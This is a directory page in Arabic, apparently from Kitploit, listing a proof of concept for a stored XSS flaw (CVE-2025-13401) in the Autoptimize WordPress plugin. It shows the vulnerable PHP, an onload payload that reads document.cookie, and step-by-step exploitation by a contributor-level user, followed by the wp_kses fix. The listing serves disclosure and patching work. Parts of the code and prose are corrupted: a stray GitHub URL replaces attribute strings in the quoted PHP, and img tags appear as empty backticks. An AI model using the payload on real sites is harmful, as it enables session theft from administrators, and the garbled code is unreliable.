Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-13401-XSS-Stored — إثبات المفهوم لثغرة XSS مخزنة بعد المصادقة في Autoptimize < 3.1.14، تستغل عدم كفاية تنظيف السمات في إنشاء علامة التحميل المسبق للصور. | Kitploit
أدوات/GitHubGitHub/ciscocamelo/cve-2025-13401-xss-stored
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubciscocamelo/cve-2025-13401-xss-stored

CVE-2025-13401-XSS-Stored

إثبات المفهوم لثغرة XSS مخزنة بعد المصادقة في Autoptimize < 3.1.14، تستغل عدم كفاية تنظيف السمات في إنشاء علامة التحميل المسبق للصور.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 8 أشهرلم تتم المراجعة بعد

إثبات المفهوم: XSS مخزنة في Autoptimize < 3.1.14

الثغرة: XSS مخزنة (مُعتمدة لمستخدمين بمستوى مساهم فما فوق) الإصدار المتأثر: Autoptimize <= 3.1.13 الإصدار المُصحَّح: Autoptimize 3.1.14 الملف: classes/autoptimizeImages.php

الوصف

الثغرة موجودة في الطريقة create_img_preload_tag() داخل classes/autoptimizeImages.php. هذه الدالة مسؤولة عن إنشاء وسم <link rel="preload"> للصور الموجودة في المحتوى عند تفعيل تحسين الصور أو ما قبل التحميل.

في الإصدار 3.1.13، تستخدم الدالة نهج "القائمة السوداء" (عبر preg_replace) لإزالة سمات محددة مثل title وalt وclass وid وwidth وheight من وسم `` الأصلي قبل تحويله إلى وسم <link>. ومع ذلك، فهي تفشل في إزالة سمات معالج الأحداث مثل onload أو onerror.

يمكن لمهاجم مُوثّق (بصلاحية مساهم على الأقل) تضمين وسم `` ضار في منشور. عندما يعالج الإضافة هذا المنشور لإنشاء روابط ما قبل التحميل، يتم الاحتفاظ بمعالج الحدث الضار وحقنه في <head> الصفحة داخل وسم <link>. نظرًا لأن <link rel="preload"> يدعم حدث onload، يتم تنفيذ جافا سكريبت عند تحميل المورد.

الكود الضعيف (v3.1.13)

root@kitploit:~
// classes/autoptimizeImages.php

public static function create_img_preload_tag( $tag ) {
    // ...
    // rewrite img tag to link preload img.
    $_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/HEAD/," sizes=', ' srcset=' );
    $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
    $tag   = str_replace( $_from, $_to, $tag );

    // INSUFFICIENT SANITIZATION: Only removes specific attributes
    $tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
    // ...
    return $tag;
}

خطوات إثبات المفهوم

المتطلبات الأساسية

  1. تثبيت Autoptimize الإصدار 3.1.13.
  2. تفعيل "تحسين الصور" أو التأكد من أن ما قبل تحميل الصور نشط (مثلًا عبر "ما قبل تحميل طلبات محددة" أو السلوك الافتراضي الذي يعمل على الصور).
    • ملاحظة: الدالة الضعيفة create_img_preload_tag تُفعَّل غالبًا للصور التي يتم اكتشافها في نطاق العرض أو التي تم تحميلها مسبقًا بشكل صريح.

الحمولة

root@kitploit:~
<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">

الاستغلال

  1. تسجيل الدخول كمستخدم بصلاحية مساهم (أو أعلى).
  2. إنشاء منشور جديد.
  3. حقن الحمولة في محتوى المنشور (باستخدام كتلة HTML المخصصة أو محرر الكود).
    root@kitploit:~
    <!-- Malicious Image -->
    <img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/HEAD/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    (استخدام مورد محلي يضمن غالبًا إطلاق حدث التحميل بسرعة. أي رابط صورة صالح يعمل.)
  4. حفظ المنشور.
  5. انتظار مدير لعرض المنشور (أو عرضه بنفسك).
  6. سيقوم إضافة Autoptimize بتحليل وسم ``.
  7. ستنشئ رابط ما قبل التحميل في مصدر HTML:
    root@kitploit:~
    <link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    ملاحظة: قد يتم إزالة السمات مثل width وheight وما إلى ذلك، لكن onload يبقى.
  8. يقوم المتصفح بتحليل وسم <link>، ويقوم بتحميل المورد مسبقًا، ويُطلق حدث onload، مما ينفذ الـ XSS.

الإصلاح في v3.1.14

يستبدل التصحيح التعبير النمطي للقائمة السوداء بـ wp_kses()، مما يتيح قائمة بيضاء صارمة للسمات المسموح بها لوسم <link> المُنشأ.

root@kitploit:~
// classes/autoptimizeImages.php v3.1.14

$allowed_html = array(
    'link' => array(
        'rel'           => true,
        'as'            => true,
        'href'          => true,
        'imagesizes'    => true,
        'imagesrcset'   => true,
        'type'          => true,
        'media'         => true,
    ),
);
$tag = wp_kses( $tag, $allowed_html );
تنزيل الأداة